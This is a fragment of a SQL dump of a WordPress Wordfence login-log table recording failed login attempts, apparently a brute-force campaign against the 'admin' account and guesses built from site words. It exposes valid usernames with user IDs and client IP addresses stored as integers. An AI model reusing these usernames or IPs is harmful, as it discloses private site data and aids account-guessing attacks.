(101542, 1497852201.290922, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101541, 1497851289.517297, 1, 'loginFailValidUsername', 'admin', 1, 3414166908, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101540, 1497851288.355051, 1, 'loginFailValidUsername', 'admin', 1, 3414166908, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101539, 1497851093.503823, 1, 'loginFailValidUsername', 'admin', 1, 2970345110, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101538, 1497848749.227761, 1, 'loginFailValidUsername', 'admin', 1, 1732021588, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101537, 1497848747.653203, 1, 'loginFailValidUsername', 'admin', 1, 1732021588, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101536, 1497848343.955567, 1, 'loginFailValidUsername', 'admin', 1, 827164163, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101535, 1497848342.552092, 1, 'loginFailValidUsername', 'admin', 1, 827164163, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101533, 1497846596.383892, 1, 'loginFailValidUsername', 'admin', 1, 1539837014, ''),
(101534, 1497846596.474711, 1, 'loginFailValidUsername', 'admin', 1, 1539837014, ''),
(101532, 1497846558.968506, 1, 'loginFailValidUsername', 'admin', 1, 1675930294, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101531, 1497845621.639627, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3147914882, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101530, 1497845620.443946, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3147914882, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101529, 1497845267.783811, 1, 'loginFailValidUsername', 'admin', 1, 2970227750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101528, 1497845266.413367, 1, 'loginFailValidUsername', 'admin', 1, 2970227750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101527, 1497845227.091679, 1, 'loginFailValidUsername', 'admin', 1, 19492457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101526, 1497845225.362301, 1, 'loginFailValidUsername', 'admin', 1, 19492457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101525, 1497845015.523887, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101524, 1497843396.162174, 1, 'loginFailValidUsername', 'admin', 1, 3141660694, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101523, 1497843394.654263, 1, 'loginFailValidUsername', 'admin', 1, 3141660694, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101522, 1497841063.930601, 1, 'loginFailValidUsername', 'admin', 1, 697041447, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101521, 1497841062.855561, 1, 'loginFailValidUsername', 'admin', 1, 697041447, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101520, 1497839950.928141, 1, 'loginFailValidUsername', 'admin', 1, 1333115656, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101519, 1497839949.808188, 1, 'loginFailValidUsername', 'admin', 1, 1333115656, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101518, 1497839343.853402, 1, 'loginFailValidUsername', 'admin', 1, 461624629, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101517, 1497839342.432205, 1, 'loginFailValidUsername', 'admin', 1, 461624629, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101516, 1497837904.487553, 1, 'loginFailValidUsername', 'admin', 1, 3216807797, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101515, 1497837902.912663, 1, 'loginFailValidUsername', 'admin', 1, 3216807797, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101514, 1497837736.879725, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101513, 1497837207.891080, 1, 'loginFailValidUsername', 'admin', 1, 2946418994, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101512, 1497835043.120551, 1, 'loginFailValidUsername', 'admin', 1, 2971786226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101511, 1497835041.591195, 1, 'loginFailValidUsername', 'admin', 1, 2971786226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101510, 1497832841.762774, 1, 'loginFailValidUsername', 'admin', 1, 2376729141, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)'),
(101509, 1497831278.966589, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101508, 1497828235.401656, 1, 'loginFailValidUsername', 'admin', 1, 1279333773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101507, 1497828234.219714, 1, 'loginFailValidUsername', 'admin', 1, 1279333773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101506, 1497827143.089936, 1, 'loginFailValidUsername', 'admin', 1, 2955645869, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101505, 1497827141.810360, 1, 'loginFailValidUsername', 'admin', 1, 2955645869, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101504, 1497826570.678797, 1, 'loginFailValidUsername', 'admin', 1, 1473158061, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101503, 1497826569.686256, 1, 'loginFailValidUsername', 'admin', 1, 1473158061, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101502, 1497825600.461401, 1, 'loginFailValidUsername', 'admin', 1, 1336721696, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10b)'),
(101501, 1497825521.377228, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
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(101277, 1497610219.278669, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101276, 1497602806.844579, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101275, 1497599574.640353, 1, 'loginFailValidUsername', 'admin', 1, 1476942175, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101274, 1497595291.622070, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101273, 1497594275.524027, 1, 'loginFailValidUsername', 'admin', 1, 2588096105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101272, 1497594273.695283, 1, 'loginFailValidUsername', 'admin', 1, 2588096105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101271, 1497594006.022743, 1, 'loginFailValidUsername', 'admin', 1, 2083198645, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101270, 1497594004.537238, 1, 'loginFailValidUsername', 'admin', 1, 2083198645, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101269, 1497588652.526115, 1, 'loginFailValidUsername', 'admin', 1, 2054111803, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101268, 1497588650.984761, 1, 'loginFailValidUsername', 'admin', 1, 2054111803, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101267, 1497588364.424451, 1, 'loginFailValidUsername', 'admin', 1, 2050666736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101266, 1497588100.009781, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101265, 1497587221.927679, 1, 'loginFailValidUsername', 'admin', 1, 1416429771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101264, 1497587220.877607, 1, 'loginFailValidUsername', 'admin', 1, 1416429771, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101263, 1497582986.228470, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/534.18.61 (KHTML, like Gecko) Version/4.7.2 Safari/533.35'),
(101262, 1497581303.850928, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101261, 1497578872.187043, 1, 'loginFailValidUsername', 'admin', 1, 1768366811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101260, 1497578870.884191, 1, 'loginFailValidUsername', 'admin', 1, 1768366811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101259, 1497574414.667611, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101258, 1497572490.482926, 1, 'loginFailValidUsername', 'admin', 1, 1892867061, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101257, 1497570680.450906, 1, 'loginFailInvalidUsername', 'vous', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101256, 1497570678.604097, 1, 'loginFailValidUsername', 'pablo', 3, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101255, 1497570676.896491, 1, 'loginFailValidUsername', 'julie', 2, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101254, 1497570675.204654, 1, 'loginFailInvalidUsername', 'center', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101253, 1497570673.545143, 1, 'loginFailInvalidUsername', 'namur', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101252, 1497570671.848297, 1, 'loginFailInvalidUsername', 'travail', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101251, 1497570670.148879, 1, 'loginFailInvalidUsername', 'professionnel', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101250, 1497570668.469985, 1, 'loginFailInvalidUsername', 'outils', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101249, 1497570666.753461, 1, 'loginFailInvalidUsername', 'venez', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101248, 1497570665.066864, 1, 'loginFailInvalidUsername', 'objectifs', 0, 872399819, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101247, 1497570069.971094, 1, 'loginFailInvalidUsername', 'cross', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101246, 1497570067.886494, 1, 'loginFailInvalidUsername', 'pour', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101245, 1497570065.782966, 1, 'loginFailInvalidUsername', 'notre', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101244, 1497570063.481352, 1, 'loginFailInvalidUsername', 'training', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101243, 1497570061.385954, 1, 'loginFailInvalidUsername', 'vous', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101242, 1497570059.289804, 1, 'loginFailValidUsername', 'pablo', 3, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101241, 1497570057.208941, 1, 'loginFailValidUsername', 'julie', 2, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101240, 1497570055.082494, 1, 'loginFailInvalidUsername', 'center', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101239, 1497570052.955899, 1, 'loginFailInvalidUsername', 'namur', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101238, 1497570050.858398, 1, 'loginFailInvalidUsername', 'travail', 0, 3098024864, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101237, 1497570048.954826, 1, 'loginFailValidUsername', 'admin', 1, 3583324972, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101236, 1497569315.054321, 1, 'loginFailValidUsername', 'admin', 1, 1730727519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101235, 1497569312.595843, 1, 'loginFailValidUsername', 'admin', 1, 1730727519, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101234, 1497568645.021080, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101233, 1497568540.480428, 1, 'loginFailValidUsername', 'admin', 1, 532244500, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; InfoPath.2)'),
(101232, 1497563168.192785, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101231, 1497560317.736809, 1, 'loginFailValidUsername', 'admin', 1, 1602769142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101230, 1497560316.736366, 1, 'loginFailValidUsername', 'admin', 1, 1602769142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101229, 1497557687.252093, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101228, 1497556706.105200, 1, 'loginFailValidUsername', 'admin', 1, 1309966181, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101227, 1497556705.159186, 1, 'loginFailValidUsername', 'admin', 1, 1309966181, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101226, 1497556457.105505, 1, 'loginFailValidUsername', 'admin', 1, 1486676647, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101225, 1497556456.083607, 1, 'loginFailValidUsername', 'admin', 1, 1486676647, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101224, 1497555937.364954, 1, 'loginFailValidUsername', 'admin', 1, 831675222, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101223, 1497555935.809061, 1, 'loginFailValidUsername', 'admin', 1, 831675222, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101222, 1497555596.888769, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.06.59 (KHTML, like Gecko) Version/5.6.1 Safari/532.13'),
(101221, 1497554020.672054, 1, 'loginFailValidUsername', 'admin', 1, 693797103, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101220, 1497554019.418258, 1, 'loginFailValidUsername', 'admin', 1, 693797103, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101219, 1497551870.407807, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101218, 1497551181.852648, 1, 'loginFailValidUsername', 'admin', 1, 2996915206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101217, 1497548374.433040, 1, 'loginFailValidUsername', 'admin', 1, 1454326002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101216, 1497548373.191266, 1, 'loginFailValidUsername', 'admin', 1, 1454326002, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101215, 1497546880.740171, 1, 'loginFailValidUsername', 'admin', 1, 3631648402, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101214, 1497546873.755714, 1, 'loginFailValidUsername', 'admin', 1, 3631648402, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101213, 1497545930.697698, 1, 'loginFailValidUsername', 'admin', 1, 1837047866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101212, 1497545929.506871, 1, 'loginFailValidUsername', 'admin', 1, 1837047866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101211, 1497545294.982303, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101210, 1497544204.955545, 1, 'loginFailValidUsername', 'admin', 1, 3168543257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101209, 1497544203.277731, 1, 'loginFailValidUsername', 'admin', 1, 3168543257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101208, 1497543771.359007, 1, 'loginFailValidUsername', 'admin', 1, 1833145697, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101207, 1497543723.328437, 1, 'loginFailValidUsername', 'admin', 1, 3065291823, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101206, 1497543721.548621, 1, 'loginFailValidUsername', 'admin', 1, 3065291823, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101205, 1497543679.981606, 1, 'loginFailValidUsername', 'admin', 1, 3743340614, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101204, 1497543561.325237, 1, 'loginFailValidUsername', 'admin', 1, 1544579148, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101203, 1497543559.925038, 1, 'loginFailValidUsername', 'admin', 1, 1544579148, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101202, 1497543272.959772, 1, 'loginFailValidUsername', 'admin', 1, 1310564959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101201, 1497543271.931270, 1, 'loginFailValidUsername', 'admin', 1, 1310564959, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101200, 1497537900.040434, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101199, 1497536693.850719, 1, 'loginFailValidUsername', 'admin', 1, 3081917928, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101198, 1497536692.371167, 1, 'loginFailValidUsername', 'admin', 1, 3081917928, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101197, 1497535413.424471, 1, 'loginFailValidUsername', 'admin', 1, 831894783, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101196, 1497535410.103272, 1, 'loginFailValidUsername', 'admin', 1, 831894783, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101195, 1497534874.830537, 1, 'loginFailValidUsername', 'admin', 1, 1868300323, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101194, 1497532404.565430, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.63.26) Gecko/20175675 Firefox/45.63.26'),
(101193, 1497531120.800311, 1, 'loginFailValidUsername', 'admin', 1, 1332374912, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101192, 1497531119.828640, 1, 'loginFailValidUsername', 'admin', 1, 1332374912, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101191, 1497529533.658356, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101190, 1497528117.317926, 1, 'loginFailValidUsername', 'admin', 1, 2945164872, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101189, 1497528115.812450, 1, 'loginFailValidUsername', 'admin', 1, 2945164872, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101188, 1497526559.958227, 1, 'loginFailValidUsername', 'admin', 1, 1327015571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101187, 1497526558.994106, 1, 'loginFailValidUsername', 'admin', 1, 1327015571, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101186, 1497526219.047527, 1, 'loginFailValidUsername', 'admin', 1, 1814215517, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101185, 1497524680.625465, 1, 'loginFailValidUsername', 'admin', 1, 2006661691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101184, 1497524679.294688, 1, 'loginFailValidUsername', 'admin', 1, 2006661691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101183, 1497523734.938112, 1, 'loginFailValidUsername', 'admin', 1, 3115241646, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101182, 1497523733.901718, 1, 'loginFailValidUsername', 'admin', 1, 3115241646, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101181, 1497522680.251815, 1, 'loginFailValidUsername', 'admin', 1, 3240197617, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101180, 1497522679.190284, 1, 'loginFailValidUsername', 'admin', 1, 3240197617, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101179, 1497522332.078774, 1, 'loginFailValidUsername', 'admin', 1, 1697806700, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101178, 1497522330.054070, 1, 'loginFailValidUsername', 'admin', 1, 1697806700, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101177, 1497522089.726965, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101176, 1497521959.629218, 1, 'loginFailValidUsername', 'admin', 1, 3680243857, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101175, 1497521957.971541, 1, 'loginFailValidUsername', 'admin', 1, 3680243857, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101174, 1497521669.483834, 1, 'loginFailValidUsername', 'admin', 1, 1300190727, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101173, 1497521668.420647, 1, 'loginFailValidUsername', 'admin', 1, 1300190727, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
